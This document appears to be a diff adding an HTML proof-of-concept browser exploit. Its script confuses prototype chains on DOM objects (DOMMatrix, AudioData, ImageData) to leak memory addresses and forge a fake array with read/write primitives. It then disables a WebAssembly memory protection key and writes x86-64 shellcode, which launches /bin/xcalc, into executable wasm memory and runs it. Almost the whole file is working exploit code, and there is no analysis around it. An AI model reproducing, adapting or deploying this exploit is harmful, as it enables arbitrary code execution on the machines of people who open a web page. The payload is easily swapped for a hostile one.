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| 1 | +<html> |
| 2 | + <script> |
| 3 | + |
| 4 | + var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); |
| 5 | + var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0xbb, 0x6c, 0x63, 0x00, 0x00, 0x53, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x78, 0x63, 0x61, 0x53, 0x54, 0x5f, 0x56, 0x57, 0x54, 0x5e, 0xbb, 0x3a, 0x30, 0x2e, 0x30, 0x53, 0x48, 0xbb, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x53, 0x54, 0x41, 0x5a, 0x52, 0x41, 0x52, 0x54, 0x5a, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0xf, 0x5]; |
| 6 | + |
| 7 | + var wasmMemoryProtectionKeysOffset = 0x34a086n; |
| 8 | + |
| 9 | + var loopCount = 0x10; |
| 10 | + var view = new ArrayBuffer(24); |
|
6D40
11 | + var dblArr = new Float64Array(view); |
| 12 | + var intView = new Int32Array(view); |
| 13 | + var bigIntView = new BigInt64Array(view); |
| 14 | + var flArr = new Float32Array(view); |
| 15 | + |
| 16 | + var decoderBufferOffset = 0x8; |
| 17 | + |
| 18 | + function f32toi(f) { |
| 19 | + flArr[0] = f; |
| 20 | + return intView[0]; |
| 21 | + } |
| 22 | + |
| 23 | + function ftoi32(f) { |
| 24 | + dblArr[0] = f; |
| 25 | + return [intView[0], intView[1]]; |
| 26 | + } |
| 27 | + |
| 28 | + function i32tof(i1, i2) { |
| 29 | + intView[0] = i1; |
| 30 | + intView[1] = i2; |
| 31 | + return dblArr[0]; |
| 32 | + } |
| 33 | + |
| 34 | + function itof(i) { |
| 35 | + bigIntView[0] = i; |
| 36 | + return dblArr[0]; |
| 37 | + } |
| 38 | + |
| 39 | + function ftoi(f) { |
| 40 | + dblArr[0] = f; |
| 41 | + return bigIntView[0]; |
| 42 | + } |
| 43 | + |
| 44 | + function i32toi(i_lo, i_hi) { |
| 45 | + intView[0] = i_lo; |
| 46 | + intView[1] = i_hi; |
| 47 | + return bigIntView[0]; |
| 48 | + } |
| 49 | + |
| 50 | + class SubAudioData extends AudioData { |
| 51 | + constructor(addr) { |
| 52 | + let input = audioDataInput; |
| 53 | + input.timestamp = addr; |
| 54 | + super(input); |
| 55 | + } |
| 56 | + |
| 57 | + getFakeObj() { |
| 58 | + return super.signal; |
| 59 | + } |
| 60 | + } |
| 61 | + |
| 62 | + class SubMatrix extends DOMMatrix { |
| 63 | + constructor(addr) { |
| 64 | + let input = matrixInput; |
| 65 | + input[10] = itof(BigInt(addr - 0x18)); |
| 66 | + super(input); |
| 67 | + } |
| 68 | + |
| 69 | + readContent() { |
| 70 | + return super.interval; |
| 71 | + } |
| 72 | + } |
| 73 | + |
| 74 | + var height = 4; |
| 75 | + var width = 3; |
| 76 | + |
| 77 | + class SubImg extends ImageData { |
| 78 | + constructor(imgData) { |
| 79 | + super(imgData, height,width); |
| 80 | + } |
| 81 | + |
| 82 | + getAddr() { |
| 83 | + return super.m21; |
| 84 | + } |
| 85 | + } |
| 86 | + |
| 87 | + var audioBufferInput = {length: 30000, sampleRate: 4000}; |
| 88 | + var audioDataInput = {format: "u8", sampleRate: 4000, numberOfFrames: 100, numberOfChannels: 1, timestamp: 0, data : new Int8Array(100)}; |
| 89 | + //matrix memory layout: m12 = matrix_[0][1], m21 = matrix_[1][0] ... double arrays |
| 90 | + var matrixInput = [11,12,13,14,21,22,23,24,31,32,33,34,41,42,43,44]; |
| 91 | + |
| 92 | + var domMatrixImg = new DOMMatrix(matrixInput); |
| 93 | + |
| 94 | + var audioData = new AudioData(audioDataInput); |
| 95 | + |
| 96 | + var req = new Request({}); |
| 97 | + |
| 98 | + var motionEvent = new DeviceMotionEvent({}); |
| 99 | + |
| 100 | + function leakImageAddr(i) { |
| 101 | + domMatrixImg['a' + i] = 1; |
| 102 | + if (i < loopCount) { |
| 103 | + SubImg.prototype.__proto__ = {}; |
| 104 | + } else { |
| 105 | + SubImg.prototype.__proto__ = domMatrixImg; |
| 106 | + } |
| 107 | + domMatrixImg.m21; |
| 108 | + let addr = img.getAddr(); |
| 109 | + return Number(ftoi(addr)); |
| 110 | + } |
| 111 | + |
| 112 | + function readFrom(i, subMatrix) { |
| 113 | + motionEvent['a' + i] = 1; |
| 114 | + if (i < loopCount) { |
| 115 | + SubMatrix.prototype.__proto__ = {}; |
| 116 | + } else { |
| 117 | + SubMatrix.prototype.__proto__ = motionEvent; |
| 118 | + } |
| 119 | + motionEvent.interval; |
| 120 | + let addr = subMatrix.readContent(); |
| 121 | + return addr; |
| 122 | + } |
| 123 | + |
| 124 | + function createFakeObj(i, addr) { |
| 125 | + req['a' + i] = 1; |
| 126 | + if (i < loopCount) { |
| 127 | + SubAudioData.prototype.__proto__ = {}; |
| 128 | + } else { |
| 129 | + SubAudioData.prototype.__proto__ = req; |
| 130 | + } |
| 131 | + req.signal; |
| 132 | + return subAudio.getFakeObj(); |
| 133 | + } |
| 134 | + |
| 135 | + function addrOf(obj) { |
| 136 | + objArr[0] = obj; |
| 137 | + return ftoi32(fakeDblArr[5])[0]; |
| 138 | + } |
| 139 | + |
| 140 | + function compressedRead(addr) { |
| 141 | + doubleArr[1] = i32tof(addr - 0x8, 0x1000); |
| 142 | + let out = fakeDblArr[0]; |
| 143 | + doubleArr[1] = doubleArrDefault; |
| 144 | + return out; |
| 145 | + } |
| 146 | + |
| 147 | + function compressedWrite(addr, value) { |
| 148 | + doubleArr[1] = i32tof(addr - 0x8, 0x1000); |
| 149 | + fakeDblArr[0] = value; |
| 150 | + doubleArr[1] = doubleArrDefault; |
| 151 | + } |
| 152 | + |
| 153 | + var imgDataStore = new ArrayBuffer(48); |
| 154 | + var imgData = new Uint8ClampedArray(imgDataStore); |
| 155 | + var doubleArr = [1.1, 2.2, 3.3, 4.4, 5.5]; |
| 156 | + var objArr = [imgData]; |
| 157 | + |
| 158 | + var img = new SubImg(imgData); |
| 159 | + |
| 160 | + for (let i = 0; i < loopCount; i++) { |
| 161 | + leakImageAddr(i); |
| 162 | + } |
| 163 | + |
| 164 | + let imgAddr = leakImageAddr(loopCount); |
| 165 | + |
| 166 | + let mainWorldMatrix = new SubMatrix(imgAddr + 0x8); |
| 167 | + |
| 168 | + for (let i = 0; i < loopCount; i++) { |
| 169 | + readFrom(i, mainWorldMatrix); |
| 170 | + } |
| 171 | + |
| 172 | + let mainWorldWrapper = Number(ftoi(readFrom(loopCount, mainWorldMatrix))); |
| 173 | + |
| 174 | + let wrapperMatrix = new SubMatrix(imgAddr); |
| 175 | + |
| 176 | + let wrapperAddr = ftoi(readFrom(loopCount, wrapperMatrix)); |
| 177 | + |
| 178 | + let v8AddrMatrix = new SubMatrix(mainWorldWrapper); |
| 179 | + |
| 180 | + let v8TypedArrayAddr = Number(ftoi(readFrom(loopCount, v8AddrMatrix))); |
| 181 | + |
| 182 | + let doubleArrMatrix = new SubMatrix(v8TypedArrayAddr + 0x74 - 1); |
| 183 | + let doubleMap = ftoi32(readFrom(loopCount, doubleArrMatrix))[1]; |
| 184 | + |
| 185 | + let fakeWrapper64View = new BigInt64Array(imgDataStore); |
| 186 | + fakeWrapper64View[0] = BigInt(v8TypedArrayAddr + 0x50); |
| 187 | + |
| 188 | + var doubleArrElementDefault = (v8TypedArrayAddr + 0x60) >> 0; |
| 189 | + var doubleArrDefault = i32tof(doubleArrElementDefault, 0x1000); |
| 190 | + |
| 191 | + //map + properties |
| 192 | + doubleArr[0] = i32tof(doubleMap, 0x8002249); |
| 193 | + //elements + length |
| 194 | + doubleArr[1] = doubleArrDefault; |
| 195 | + doubleArr[2] = i32tof(0x8002249, 0x1000); |
| 196 | + doubleArr[3] = 1.1; |
| 197 | + |
| 198 | + //Add 0x8 to skip vtable, so that the fake main_world_wrapper_ points to the address of the datastore |
| 199 | + var subAudio = new SubAudioData(imgAddr + 0x8); |
| 200 | + |
| 201 | + for (let i = 0; i < loopCount; i++) { |
| 202 | + createFakeObj(i); |
| 203 | + } |
| 204 | + var fakeDblArr = createFakeObj(loopCount); |
| 205 | + |
| 206 | + var shellArray = new Uint8Array(100); |
| 207 | + shellArray.fill(0x41); |
| 208 | + |
| 209 | + var wasmProtectionKeyAddr = wrapperAddr + wasmMemoryProtectionKeysOffset; |
| 210 | + var shellArrayAddr = addrOf(shellArray); |
| 211 | + |
| 212 | + compressedWrite(shellArrayAddr + 0x2c, itof(wasmProtectionKeyAddr)); |
| 213 | + for (let i = 0; i < 8; i++) { |
| 214 | + shellArray[i] = 0; |
| 215 | + } |
| 216 | + |
| 217 | + var module = new WebAssembly.Module(code); |
| 218 | + var instance = new WebAssembly.Instance(module); |
| 219 | + var wasmMain = instance.exports.main; |
| 220 | + |
| 221 | + var instanceAddr = addrOf(instance); |
| 222 | + var wasmRWX = compressedRead(instanceAddr + 0x60); |
| 223 | + |
| 224 | + compressedWrite(shellArrayAddr + 0x2c, wasmRWX); |
| 225 | + for (let i = 0; i < shellCode.length; i++) { |
| 226 | + shellArray[i] = shellCode[i]; |
| 227 | + } |
| 228 | + wasmMain(); |
| 229 | + </script> |
| 230 | + <body> |
| 231 | + </body> |
| 232 | +</html> |
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